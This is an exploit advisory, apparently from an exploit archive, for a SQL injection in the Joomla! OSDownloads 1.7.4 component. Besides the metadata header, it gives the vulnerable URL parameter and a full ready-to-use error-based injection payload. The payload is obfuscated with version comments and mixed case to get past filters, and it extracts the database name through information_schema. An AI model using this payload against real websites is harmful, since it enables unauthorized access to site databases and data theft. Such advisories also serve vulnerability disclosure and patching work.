# # # # # # Exploit Title: Joomla! Component OSDownloads 1.7.4 - SQL Injection # Dork: N/A # Date: 25.08.2017 # Vendor Homepage: https://joomlashack.com/ # Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/osdownloads/ # Demo: https://demoextensions.joomlashack.com/osdownloads # Version: 1.7.4 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/index.php?option=com_osdownloads&view=item&id=[SQL] # # 8+aND(/*!22200sELeCT*/+0x30783331+/*!22200FrOM*/+(/*!22200SeLeCT*/+cOUNT(*),/*!22200CoNCaT*/((sELEcT(sELECT+/*!22200CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1 # # Etc.. # # # # #
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